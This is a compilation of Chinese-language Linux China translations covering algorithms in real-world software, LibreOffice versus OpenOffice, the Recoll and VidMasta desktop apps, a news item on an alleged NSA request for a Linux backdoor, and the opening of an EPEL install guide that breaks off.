### Chromium 浏览器中的数据结构和算法

Chromium的([源代码在 Google code](https://code.google.com/p/chromium/))。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。

1.[伸展树](https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h)。

>
> 这个树通过分配策略（分配器）参数化。这个策略用于C的可用存储区的列表分配，参见zone.h。
>
>
>

2.[Voronoi算法](https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html)用于一个示例。

3.[基于Bresenham算法的选项卡](https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm)

在Chromium的第三方代码里面也有如下的数据结构和算法。

1.[二叉树](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py)

2.[红黑树](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py)

>
> Julian Walker的总结
>
>
> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单，乍一看这似乎是由于插入是一项轻松的乐事。然而，当你开始删除时，红黑树变得非常棘手。然而，通过复杂性的平衡，插入和删除可以使用单通道，实现自上而下的算法。这与AVL树情况不一样，插入只能自顶向下，删除则需要自下而上。
>
>
> ...
>
>
> 红黑树是很流行的，像大多数数据结构一样有一个古怪的名字。比如，在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好，需要保持平衡的话红黑树通常更好。有一些流传的误解，但在大多数情况下对红黑树的宣传是准确的。
>
>
>

3.[AVL 树](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py)

4.[Rabin-Karp字符串匹配](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c)用于比较。

5.[自动机后缀的计算](https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py)。

6.由Apple公司实现的[bloom过滤器](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h)。

7.[Bresenham 算法](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c)。

### 编程语言库

我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法，这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。

1.[C++ STL](http://www.cplusplus.com/reference/stl/)包含了链表、栈、队列、映射、向量和[排序](http://www.cplusplus.com/reference/algorithm/)、[搜索和堆操作](http://www.cplusplus.com/reference/algorithm/)算法。

2.[Java API](http://docs.oracle.com/javase/7/docs/api/)易于扩展的并且越来越多。

3.[Boost C++ 库](http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale)包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。

### 分配和调度算法

我发现这些很有趣，因为即使他们被称为启发式，您使用的策略规定了算法类型和需要的数据结构，因此，所以需要人们知道栈和队列。

1.最近最少使用（LRU）算法可以用不同的方法实现。Linux内核有一种[基于列表的实现](https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h)。

2.其他的还有先入先出（FIFO）、最常使用和轮询。

3.FIFO的一个变种用于VAX/VMS系统。

4.[Richard Carr](http://dl.acm.org/citation.cfm?id=4750)的[时钟算法](http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock)用于Linux中的页面替换。

5.Intel i860处理器是一种随机替代策略。

6.[自适应置换高速缓存](http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache)用于一些IBM存储控制器中，也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题](http://www.varlena.com/GeneralBits/96.php)）。

7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法](http://en.wikipedia.org/wiki/Buddy_memory_allocation)内用于Linux内核中，jemalloc并发分配器被用于FreeBSD和[facebook](http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919)中。

### \*nix系统核心工具

1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造，显然[这甚至击败了Perl的实现](http://swtch.com/%7Ersc/regexp/regexp1.html)。

2.*tsort*实现了拓扑排序。

3.*fgrep*实现了[Aho-Corasick字符串匹配算法](http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm)。

4.*GNU grep*，根据作者Mike Haertel实现了[Boyer-Mooresuan算法](http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html)。

5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。

6.[*Unix diff*](http://www.cs.dartmouth.edu/%7Edoug/diff.pdf)由Doug McIllroy实现，基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本](http://linux.die.net/man/3/diff)计算最短编辑距离。

### 加密算法

这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。

1.[Merkle 树](http://en.wikipedia.org/wiki/Merkle_tree)，特别是 Tiger Tree Hash变种，被用于点对点应用，比如[GTK Gnutella](https://github.com/gtk-gnutella/bitter)和[LimeWire](http://en.wikibooks.org/wiki/LimeWire)。

2.[MD5](http://en.wikipedia.org/wiki/MD5)被用于提供软件包的校验和并被用于在\*nix系统上的完整性检测([Linux 实现](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c))，同样也支持Windows和OSX。

3.[OpenSSL](http://www.openssl.org/)实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。

### 编译器

1.[LALR 解析](http://en.wikipedia.org/wiki/LALR_parser)在yacc和bison实现。

2.支配算法被用于大多数基于SSA形式的编译器优化。

3.lex和flex将正则表达式编译为NFA。

### 压缩和图像处理

1.用于GIF图片格式的[Lempel-Ziv](http://en.wikipedia.org/wiki/Lempel_Ziv)算法在图像处理程序中实现，从\*unix工具转化到复杂的程序。

2.行程长度编码用于产生PCX文件(用于原来的画笔程序)，它是被压缩的BMP和TIFF文件。

3.小波压缩是JPEG2000的基础，所以所有生成JPEG2000文件的数码相机会支持这个算法。

4.Reed-Solomon纠错在[Linux内核](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c)、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。

### 冲突驱动语句学习算法 (CDCL)

自2000年以来，SAT求解器在工业标准的运行时间(通常是硬件工业，虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法，它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地，工业造型，SAT被认为是一个简单的问题([见这个讨论](http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/))。对我而言，这个一个最近最好的成功故事，因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章](http://dl.acm.org/citation.cfm?id=1536637)值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此)，但是通常在一个逻辑或者形式方法课上。

SAT求解器的应用有很多。IBM，Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器](http://dl.acm.org/citation.cfm?id=1536637)同样使用了一个SAT求解器。

---

via: <http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773>

译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


Apache OpenOffice 与 LibreOffice 之间的抉择

Summary:
这两个开源办公套件产品很相似，然而某一个貌似已经开始具有轻微的领先优势

Apache OpenOffice和LibreOffice都是OpenOffice.org的现代衍生产品。最近几年，几乎所有的Linux发行版都将LibreOffice作为它们的默认办公 ...

>
> 这两个开源办公套件产品很相似，然而某一个貌似已经开始具有轻微的领先优势……
>
>
>

[Apache OpenOffice](http://www.openoffice.org/)和[LibreOffice](http://www.libreoffice.org/)都是OpenOffice.org的现代衍生产品。最近几年，几乎所有的Linux发行版都将LibreOffice作为它们的默认办公套件。然而，过去18个月来，OpenOffice作为Apache项目又重新回到了人们的视线，对于这两款全功能办公套件，现在，自由软件用户可以进行二选一咯~

![](/data/attachment/album/201311/30/210641yyikkkvi0gqgy5i5.png)

然而即使是用户，在两种几乎一样的选择中做决定也会有困难。三年前，这哥儿俩分了家，三年时间，这对于软件开发来说是很长的一段时间，即使是这样，OpenOffice和LibreOffice之间的不同却刚刚开始显现。除去那些明显已经去掉的过时特性，单说功能集合与基本逻辑，自从OpenOffice.org时代以来，这两者都几乎没有什么大的改变。

纵观整个套件，只有个别应用里能发现一些新功能，主要集中在Writer的文字处理方面。其实，它们两者之间的大部分区别主要存在于更高的层面，例如对格式和字体的支持、对插件扩展的政策等，更多的不同，则体现在是否紧跟时代，以及对标准化接口的努力程度上。

### 具体各程序间的区别

LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw，看起来完全没有区别；再如Impress，主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映；除了幻灯片背景以外，两者其他方面没什么不同，都能很好的胜任日常使用，除非有特殊偏好，用户选择哪一款都可以；同样，在Calc电子制表软件中，两者最大的区别就是你可以在LibreOffice里创建数据表单。

即使在用户最常用的Writer程序中，两者的区别也很小。LibreOffice这边，编辑窗口的底部状态栏现在新包含了一个字词计数器，审阅标签也不再局限于某个单个点，现在可以附加在配图上，另外，LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug，除此以外，LibreOffice还添加了一个简易搜索栏，与web浏览器上的那种类似，同时，去掉了图形水平线的选项，这个功能过去十几年来几乎从没人用过。

### 格式与字体

一些更明显的区别体现在格式分类与字体支持上。例如，OpenOffice始终支持一些较老的保存格式，像AportisDoc（Palm版）和Pocket Word。另外，它也可以打开.docx格式的文件，但是无法像LibreOffice一样将文档保存为docx格式。

LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持，因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的，通过“文件->属性->字体”，你能够将字体嵌入到文档中去，无需任何繁琐操作，就能确保字体的兼容性。

这样的特性使得LibreOffice在面对微软Office用户转换格式的时候，得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档，特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此，如果你要共享复杂一些的文档，例如宣传手册，最好使用PDF格式，而不是Open文档格式（ODF）。

然而，如果你确实需要转换一些本地或微软的文档，LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档，而且它对字体替换处理的很好，而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少，例如在特性实现上有所不同，但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。

### 对待插件扩展的政策

OpenOffice和LibreOffice两者都能很好的支持插件扩展，想要加强或替换某个特性的时候，用户只需要几分钟就能下载并安装完毕。大多数情况下，同一个扩展，在OpenOffice和LibreOffice上面都能工作的很好。

区别就在于，使用LibreOffice时，你无需亲自安装那些最流行的插件扩展。相反，LibreOffice已经帮你安装整合好了。例如，基本语法校验工具Lightproof、数据库汇总和打印工具ReportBuilder、演示文稿压缩工具PresentationMinimizer、博客用户喜欢的WikiPublisher、还有幻灯片配置工具PresentationConsole等等。

以上这些扩展在OpenOffice下同样可用。与前者不同的是，使用OpenOffice时，你首先需要知道有这些扩展，然后专门去找到它们，这样一来，很大程度上限制了新用户对很多功能的体验。因此，当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时，这样的疏漏就成了一个非常严重的不足，特别是当它很容易弥补的时候，（更何况LibreOffice同时也提供了自家最新的模板和剪贴画）。

### 界面的更新换代

在OpenOffice.org属于Sun和Oracle的12年日子里，它的界面和许多的其它功能一样，几乎被丢在遗忘的角落。如今的结果就是，OpenOffice和LibreOffice作为套件产品，都各自拥有一整套优秀的功能，但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除，其实大部分仍然亟待更新。

在最新的发布中，OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性，你可以通过“工具->选项->LibreOffice->高级”打开，它被标记为“试验性”的。

边栏是一组功能集合，主要用于用户手动格式化。这一特性便于用户应用样式，因为如果用户关注在文章逻辑上，很容易忽略编排的样式。然而，最好的是，它大大简化了格式化字符和段落的选项卡，例如所有应用程序中都有的边框选项卡，以及电子表格单元格中的“格式”选项卡。幸运的是，边栏还重新定义了菜单和样式对话框窗口的概念。

LibreOffice还拥有更多的“冒险创新精神”，例如，与边栏类似，Impress中的任务面板，摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。

在Writer编辑窗口中，LibreOffice的大部分界面已经完成改进，窗口底部的状态栏中，添加了一个字词计数器，原本负责管理和编辑模板的狭窄子菜单，如今也已被高端大气上档次的流线形按钮所取代。

更明显的，LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的，页眉和页脚也默认改为不可见，要想找到它们，四个小直角标明了它们的边界位置，点击就可以出现。

不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式，但是让人郁闷的是，当在新一页的第一行输入的时候，已经输入的一部分总是会自动隐藏起来。

尽管LibreOffice还重组了许多对话窗口的选项，但是这些努力远没有结束。有时，开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体，看起来有些不伦不类，但是，至少LibreOffice正在尝试着解决长期搁置的界面问题，而这些，OpenOffice甚至都还没来得及意识到。

### 做出选择

如果文档不超过2到3页，一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而，对于进阶用户而言，LibreOffice目前可能更有优势。优势并不算大，但是很明显。

这一优势的确很难被忽略。原因首先是，在LibreOffice已经确立了好几个月时间优势的情况下，OpenOffice却仍在专注于管理权和代码审计，这些工作也许有帮助，也有必要，但是普通用户更愿意看到他们对代码做出更多的改进工作。

其次，LibreOffice的开发人员大部分是[Go-oo](https://en.wikipedia.org/wiki/Go-oo)的前成员，这是OpenOffice.org的一个非官方分支，以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候，LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。

没有人做过准确的调查，但是我印象中，当OpenOffice.org社区分家的时候，大部分富于冒险创新精神的贡献者都选择了LibreOffice，同时，有一些半独立的文档小组，在谨慎地同时为两个项目工作。

其实，LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢？就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证，但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说，LibreOffice可以随意自由地从OpenOffice“借”代码，但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲，如果想从LibreOffice“借”来某个功能，OpenOffice必须完全从头实现。

这一情况有可能会改变，尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候，然而LibreOffice的支持者们正在迅速扩张，它的社区非常活跃，短短3年间所做的要比OpenOffice.org十二年来做的还要多。

现在，除非你特别需要某个功能，使用OpenOffice还是LibreOffice几乎没有区别。但是，我断定，除非发生某些不可预料的事情，否则LibreOffice的优势将会越来越大。无论你选择支持哪一方，几年内，也许你会对它重新作出评价。

---

via: <http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html>

译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


Recoll:Unix和Linux桌面的文本搜索工具

Summary:
Recoll是一个Unix和Linux桌面的文本搜索工具。Recoll可以搜索文件名和文件内的关键字。
Recoll可以为你做到以下这些。

它可以搜索任何格式的文件
支持通配符
可以依据文件的作者、类型、大小和格式等条件进行搜索
  ...

[Recoll](http://www.recoll.org/)是一个Unix和Linux桌面的文本搜索工具。Recoll可以搜索文件名和文件内的关键字。

Recoll可以为你做到以下这些。

* 它可以搜索任何格式的文件
* 支持通配符
* 可以依据文件的作者、类型、大小和格式等条件进行搜索
* 可以搜索存储在任何位置的文件，例如文件、归档文件、邮件附件等
* 支持桌面和网站集成
* 具备火狐插件，可索引web页的历史
* 点击一下搜索结果就可以在本地编辑器内打开或者显示文本预览
* 它是免费的开源的，在GPL许可下发布

### 在Ubuntu/Linux Mint上安装Recoll

Recoll在Ubuntu仓库里可以找到。然而，最好添加Recoll的仓库以便安装最新版本。

使用以下命令添加Recoll仓库：

```
sudo add-apt-repository

```

使用命令更新软件列表：

```
sudo apt-get update

```

现在就可以使用下面的命令安装Recoll。

```
sudo apt-get install recoll

```

对于其它的发行版，可以去[下载页面](http://www.lesbonscomptes.com/recoll/download.html)下载源代码并编译安装。

### 启动Recoll

Recoll可以从Dash或者菜单中启动。

![](/data/attachment/album/201312/01/193159xs86uu63wu5pwxxb.jpg)

第一次启动时，你需要索引整个home目录。依据你 home 目录里储存的东西的多少,需要的时间不等。按下**Start indexing now**按钮开始索引。

![](/data/attachment/album/201312/01/193206wurulomurowuvlpp.jpg)

假如你想更多的自定义索引，可以调整索引配置和索引计划。要做到这一点，只需要点击一下**Indexing configuration**或者**Indexing schedule**链接。假如你要稍后再去配置，你可以在Preferences(首选项)菜单里配置这些选项。

一旦索引完成，你就可以搜索文件/文件夹了。结果将根据相关性展现，并显示匹配的一小部分内容。

### 配置

正如上面提到的，假如你想更多的控制索引的细节，你可以调节Recoll的索引功能。 在Recoll的工具中有两个配置项

1. 索引配置
2. 索引计划

让我们来看一下上面这两个的简短描述。

**索引配置**可以让你索引时决定包含哪些目录以及排除哪些目录。默认情况下索引时将包含整个home目录。你可以在这儿从索引中添加或移除目录。

![](/data/attachment/album/201312/01/193208jzis1ksexgs3jwe8.jpg)

你也可以定义web历史队列以及储存web页面的最大容量。

**index schedule**则是可以让制定一个计划以便于进行自动索引或者当你登陆系统后就进行实时索引。

![](/data/attachment/album/201312/01/193210e88iqo8rk5obbntl.jpg)

Recoll支持两种索引计划：

**Cron任务** - 决定什么时候开始运行以及写入Crontab键值。

![](/data/attachment/album/201312/01/193212l8ww6077l675v89k.jpg)

以上这个屏幕截图中，Recoll的cron任务会在每天上午12点的时候执行。设置完cron任务后，点击enable键激活它就可以咯。

**启动时实时索引** - 决定是否当你登陆入系统时进行实时索引。

![](/data/attachment/album/201312/01/1932136sz1tul0e1z8088t.jpg)

激活这一选项，recoll的守护程序都会随系统启动。要注意的是这一选项只有在默认索引设置的情况下才可用。

### 基本搜索

现在你已经对Recoll了解的足够多了。是时候去搜索一下文件或者文件夹了。这个应用的美妙之处就在于它既可以搜索文件名还可以搜索文件内的关键词。

在Recoll的用户界面中，在顶部右边的搜索栏中键入要搜索的关键字，然后点击Search按钮。

![](/data/attachment/album/201312/01/19322096y7j9jb5wrfsybq.jpg)

如你在上图所见，精确相关的内容将会显示还能预览到一小部分内容。你可以点击Open按钮直接打开搜索到的文件，或者在打开它之前使用预览按钮预览它。

你还可以过滤搜索结果，使用分类例如媒体、消息、其它、演示文档、电子表格或者文本等。更重要的是，你还可以选择匹配任一项、全部项、文件名或者语言等的搜索结果。

### 高级搜索

点击菜单栏中的高级搜索图标或者前往**Tools->Advanced Search**。这将打开一个新的对话窗口。在这儿你可以附加更多的限制条件来进行搜索。例如我可以搜索文件内容里含有关键字“hp”以及文件名含有“storage”的文件。

![](/data/attachment/album/201312/01/19322096y7j9jb5wrfsybq.jpg)

这将找到并显示文件内含有关键字“hp”且文件名含有“storage”的文件。

![](/data/attachment/album/201312/01/193225n31iaira151jnrjb.jpg)

### Unity桌面以及网站集成

这个应用支持桌面集成以及网站集成。假如你要把它集成到你的Ubuntu的Unity桌面中去，你可以用下面的命令安装**recoll-lens**。

```
sudo apt-get install recoll-lens

```

请注意，lens限制显示结果最多显示20条。假如你要显示更多数目的搜索结果，编辑**rclsearch.py**，修改“**if actual\_results >= 20:**”这一行就可以咯。

假如你使用火狐浏览器，要去搜索你每天访问的浏览历史，你可以使用这个[火狐扩展](http://sourceforge.net/projects/recollfirefox/)。这个火狐扩展可以和Recoll一起工作去索引你全天浏览的网站。在安装完这个扩展之后，在Recoll的索引配置中从web历史标签页中激活它就可以咯。

![](/data/attachment/album/201312/01/193227hjuia0dk4d5bhkzv.jpg)

所有的Linux都在他们的文件管理器中内建了搜索功能，以便于尽可能容易的搜索文件/文件夹。对于那些不满足于内置搜索功能并想寻找更高级文本搜索工具的人来说，Recoll是个值得一试的工具。我认为，这真是个容易使用且功能强大的工具，对基本搜索如此，对高级搜索也是如此.

欢呼吧！

如有问题，请参考我们的Q/A论坛 : <http://ask.unixmen.com/> 。

---

via: <http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/>

译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[jasminepeng](https://github.com/jasminepeng)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


VidMasta:搜索和观看在线电影、电视剧的神器

Summary:
你是否曾经想要从桌面搜索电影或电视剧，或者搜寻能够随时为你搜索这些东西的应用程序？这儿有一个应用可以满足你的需要。
VidMasta是一个免费的、跨平台的的应用，它将搜索、浏览、评论、观看和下载那些在线分享的  ...

你是否曾经想要从桌面搜索电影或电视剧，或者搜寻能够随时为你搜索这些东西的应用程序？这儿有一个应用可以满足你的需要。

[**VidMasta**](https://sites.google.com/site/algwares/vidmasta)是一个免费的、跨平台的的应用，它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。

### 特点

使用VidMasta，你可以做到以下这些：

* 观看或下载任何格式的电影或电视剧
* 支持的格式是：TV，DVD，720P，1080P。
* 匿名链接并自动过滤不受信任的IP，可以使用代理，还可以使用加密连接。
* 搜索算法可以为电影下载链接自动匹配最佳下载源
* “流行电影”和“流行电视剧”选项可以显示并让你下载当前最流行的电影／电视剧
* 下载电影字幕
* 可设置每次搜素结果的个数
* 设置下载的视频文件的扩展名
* 自动按照受欢迎度为搜索结果排序
* 可以听也可以阅读影视概要
* 观看预告片
* 查看上映时间和电影评价
* 多线程搜索和下载
* 能够侦测电影盒子设置
* 可以和[PeerBlock](http://www.peerblock.com/)集成（这项功能只能在Windows2000，xp,Vista和Windows 7上使用）
* 除了[Java](http://www.java.com/)（版本为6或以上）外，不再需要额外的软件
* 客户端可以自动更新

### 在Linux上安装VidMasta

在安装VidMasta之前，你应该在你的Linux桌面系统中安装最新版的Java。从[这儿](http://sourceforge.net/projects/vidmasta/)下载最新版。进入你下载的文件夹，使用下面的命令安装它：

```
sudo java -jar vidmasta-setup-16.7.jar

```

运行后，就会出现像下面这样的画面。点击下一步继续。

![](/data/attachment/album/201312/01/19421272g5jg165z29f1cf.jpg)

选择安装路径，点击下一步。

![](/data/attachment/album/201312/01/194214rirpieirxzxiu4xi.jpg)

安装完成后，点击下一步。

![](/data/attachment/album/201312/01/194221g4j09g1sji2es2xk.jpg)

设置快捷键。

![](/data/attachment/album/201312/01/194225znqfc5116fslbmks.jpg)

最后，点击Done结束安装。

![](/data/attachment/album/201312/01/194227quoo6scsocqqqzqg.jpg)

完成安装后，VidMasta会自动打开。下面是VidMasta的默认界面。

![](/data/attachment/album/201312/01/1942294t90i7fi4zoaghto.jpg)

### 搜素电影&电视剧

搜索电影电视剧非常容易。在标题框里键入电影的名字，选择电影种类和电影格式，例如“任何”，“DVD”，“720HD”，“1080HD”等。然后敲击Enter键开始搜素。你还可以通过评价来过滤搜素结果。假如你不知道电影的名字，你可以在菜单栏里勾选“任何”。

例如我要搜索冒险类的清晰度为720HD并在在2012年的11月第一周的今天上映的电影。一旦你敲击搜索按钮，VidMasta就会从[www.imdb.com](http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/www.imdb.com)网站抓取搜索结果，并显示你每次搜索的关键词。下面是输出的样例。

![](/data/attachment/album/201312/01/194232edoohdokhnvrehhn.jpg)

你还可以在下载之前观看预告片或者阅读电影概要。要看电影的概要？选择一个电影，右击它，点击阅读概要就可以咯。你也可以使用搜索结果下的按钮去阅读电影概要，观看预告片，下载或者观看整个电影

![](/data/attachment/album/201312/01/194257z6cylwc3ulu6lnwl.jpg)

更重要的是你可以在下载一部电影之前先观看它的预告片。点击观看预告片按钮，预告片就会在一个新窗口中打开，像下面这样。

![](/data/attachment/album/201312/01/194303rrclkreutr3rkcr2.jpg)

如果你喜欢这部电影，可以点击下载链接（下载链接1或者下载链接2）下载这部电影。

### 流行电影＆流行电视剧

假如你不知道那些电影值得去看时。那么不用担心，VidMata有一个选项去显示当前流行的电影或电视剧。点击下面的流行电影或电视剧按钮去发现当前流行流行的电影或电视剧。

![](/data/attachment/album/201404/08/161610tf3jtiisz4nyo4jf.jpg)

是不是很酷？

需要注意的是，若你不能下载最新的电影或电视剧时，也许是因为版权问题或者国家原因。

你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序，再去播放或下载电影。

你是否对此很期待呢？赶紧把它下载下来安装到你的系统中，祝你使用愉快！

---

via: <http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/>

译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


这是玩笑吗？Linux之“祖父”认为NSA曾要求在Linux中植入后门

Summary:
美国国家安全局（NSA）被指他们曾经要求Linux的创始人，Linus Torvalds，在GNU/Linux中建立一个他们可以访问的后门。
这绝非谣言，Linus的父亲，Nils Torvalds如此说道。（译注：也许Nils可以算做是Linux的祖父？好  ...

美国国家安全局（[**NSA**](http://www.nsa.gov/)）被指他们曾经要求Linux的创始人，Linus Torvalds，在GNU/Linux中建立一个他们可以访问的“后门”。

这绝非谣言，Linus的父亲，Nils Torvalds如此说道。（译注：也许Nils可以算做是Linux的祖父？好吧，我是标题党，啦啦啦~ :D 无论如何，感谢他生了一个好儿子！ ）

![Nils Torvalds](/data/attachment/album/201312/01/195614gdv9qvj1jgzmjgo3.jpg)

作为欧洲议会（MEP）的成员之一，Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档，委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。

同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人，其公司是否曾主动为NSA在他们的系统中植入过“后门”，（译者注：盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党，最先在瑞典出现，传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm)）。之后，Nils Torvalds[说道](http://youtu.be/EkpIddQ8m2s?t=3h09m06s)：

>
> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门？”，当时他口中回答“No”，但同时却在点头。我的儿子有某种程度上的法律自由，他已经给出了正确的回答…… 每个人都明白，NSA的确曾要求他这么干过！
>
>
>

如果这段描述让你觉着耳熟，你可以[看下Youtube上关于这一段的视频片段](http://www.youtube.com/watch?v=7gRsgkdfYJ8)。后来Linus坚称他当时只是开玩笑，[NSA并没有为此找过他](http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/)。

**但是，根据11月11号质询会议上的发言看来，他的父亲并不这么想。**

根据文档，Google、[Yahoo!](http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html)、Facebook，[的确还有微软](http://www.bbc.co.uk/news/technology-23285642)，都在NSA要求提供“后门”的合作公司之列，这一发现，虽不足以震惊全世界，但事实上，从大局考虑还是有意义的。毕竟，凭什么说NSA不会要求Linus这么做呢？

Nils并没有解释Linus具体是如何回应的 —— 但我估计，这说明了两个问题，首先我们至少可以肯定的一点是，开源世界一直在努力防范类似事情成为可能；

其次，如果真的有某些漏洞存在，NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。

---

via: <http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes>

译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何在CentOS 5/6上安装EPEL 源

Summary:
EPEL 是什么？
EPEL (Extra Packages for Enterprise Linux，企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目，为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linu ...

非常有帮助

EPEL 是什么？

EPEL (Extra Packages for Enterprise Linux，企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目，为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。

![](/data/attachment/album/201312/02/234203dr5rr4yhakaybalk.jpg)

我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包，不会与企业版Linux发行版本的软件发生冲突或替换其文件。

更多关于EPEL 项目的细节可以到以下网站获取：<https://fedoraproject.org/wiki/EPEL>

在文本中，我将展示在CentOS下如何安装EPEL源

>
> 提示 - RHEL/CentOS系统有许多第三方源，比较流行的比如RpmForge，RpmFusion，EPEL，Remi等等。
>
>
